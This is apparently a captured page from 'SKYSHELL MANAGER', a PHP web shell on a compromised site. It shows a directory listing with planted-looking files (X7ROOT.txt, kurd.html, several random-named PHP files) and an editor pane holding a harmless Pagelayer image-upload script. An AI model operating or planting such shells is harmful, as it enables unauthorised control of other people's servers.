📁
SKYSHELL MANAGER
PHP v8.2.30
Create
Create
Path:
root
/
home
/
qooetu
/
costes.qooetu.com
/
Name
Size
Perm
Actions
📁
.well-known
-
0755
🗑️
🏷️
🔒
📁
2e19d9
-
0755
🗑️
🏷️
🔒
📁
6b114
-
0755
🗑️
🏷️
🔒
📁
Modules
-
0755
🗑️
🏷️
🔒
📁
app
-
0755
🗑️
🏷️
🔒
📁
assets
-
0755
🗑️
🏷️
🔒
📁
bootstrap
-
0755
🗑️
🏷️
🔒
📁
cgi-bin
-
0755
🗑️
🏷️
🔒
📁
config
-
0755
🗑️
🏷️
🔒
📁
css
-
0755
🗑️
🏷️
🔒
📁
database
-
0755
🗑️
🏷️
🔒
📁
images
-
0755
🗑️
🏷️
🔒
📁
js
-
0755
🗑️
🏷️
🔒
📁
nbproject
-
0755
🗑️
🏷️
🔒
📁
public
-
0755
🗑️
🏷️
🔒
📁
resources
-
0755
🗑️
🏷️
🔒
📁
routes
-
0755
🗑️
🏷️
🔒
📁
storage
-
0755
🗑️
🏷️
🔒
📁
tests
-
0755
🗑️
🏷️
🔒
📁
uploads
-
0755
🗑️
🏷️
🔒
📁
vendor
-
0755
🗑️
🏷️
🔒
📁
wp-admin
-
0755
🗑️
🏷️
🔒
📁
wp-content
-
0755
🗑️
🏷️
🔒
📁
wp-includes
-
0755
🗑️
🏷️
🔒
📄
.htaccess
0.23 KB
0444
🗑️
🏷️
⬇️
✏️
🔒
📄
COOKIE.txt
0.2 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
X7ROOT.txt
0.27 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
defaults.php
1.29 KB
0444
🗑️
🏷️
⬇️
✏️
🔒
📄
engine.php
0 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
error_log
813.08 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
features.php
11.28 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
googlecfb82e09419fc0f6.html
0.05 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
index.php0
1.56 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
inputs.php
0.12 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
kurd.html
1.07 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
library.php
0 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
min.php
6.83 KB
0444
🗑️
🏷️
⬇️
✏️
🔒
📄
p.php
2.75 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
php.ini
0.04 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
product.php
1.78 KB
0444
🗑️
🏷️
⬇️
✏️
🔒
📄
qpmwztts.php
0.74 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
robots.txt
0.32 KB
0444
🗑️
🏷️
⬇️
✏️
🔒
📄
tovmbkwh.php
0.74 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
tyyffovi.php
0.74 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
veoxv.html
1.23 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
Edit: multi-image.js
import { LabelControl } from './label'; import { __ } from '@wordpress/i18n'; import { MediaUpload } from '@wordpress/block-editor'; import { useState, useRef, useEffect } from '@wordpress/element'; export const MultiImageControl = (props) => { const { prop, label, value, setAttributes, attributes, allow = ['image'] } = props; const { name } = prop['c']; const tmpAtts = attributes?.tmpAtts ? attributes.tmpAtts : {}; const [imageIds, setImageIds] = useState([]); const [imageUrls, setImageUrls] = useState({}); const onSelectImage = (images) => { var ids = []; var urls = {}; var img_urls = {}; var titles = {}; var links = {}; var captions = {}; for(var i in images){ const { id, url, title, link, caption, sizes} = images[i]; var _id = 'i'+id; ids.push(id); urls[_id] = url; //get title titles[_id] = title; links[_id] = link; captions[_id] = caption; // Create a URL img_urls[_id] = {} for(var x in sizes){ img_urls[_id][x] = sizes[x].url; } } setImageUrls(urls); setImageIds(ids); const tmp = { ...tmpAtts, [name+'-urls']: urls, [name+'-all-urls']: img_urls, [name+'-all-titles']: titles, [name+'-all-links']: links, [name+'-all-captions']: captions, }; setAttributes({ [name]: ids, tmpAtts: tmp }); } useEffect(() => { var ids = []; // Any IDs ? if(!pagelayer_empty(prop.c['val'])){ ids = prop.c['val'] if(pagelayer_is_string(ids)){ ids = prop.c['val'].split(','); } //console.log(ids); setImageIds(ids); } // Query the media library for media items with the specified post IDs. wp.media.query({ post__in: ids }).more().then(() => { var urls = {}; for(var x in ids){ var fetch_url = wp.media.attachment(ids[x]).get('url'); urls['i'+x] = fetch_url; }; setImageUrls(urls); }); }, []); const renderMediaUploader = (open) => { return ( <div className="pagelayer-elp-multi_image-div"> <center> <button className="pagelayer-elp-button" onClick={() => open() } > { __('Add Images') } </button> </center> <div className="pagelayer-elp-multi_image-thumbs" onClick={ () => open() } > { imageUrls && Object.keys(imageUrls).map((imageName) => ( <div className="pagelayer-elp-multi_image-thumb" style={{ backgroundImage: `url(${imageUrls[imageName]})` }} ></div> ))} </div> </div> ); } return ( <div className="components-base-control pagelayer-base-control"> <LabelControl {...props} /> <MediaUpload title="Select Image" onSelect={onSelectImage} allowedTypes={allow} value={imageIds} multiple={true} gallery={true} addToGallery={true} autoOpen={true} render={({ open }) => renderMediaUploader(open)} /> </div> ); }
Save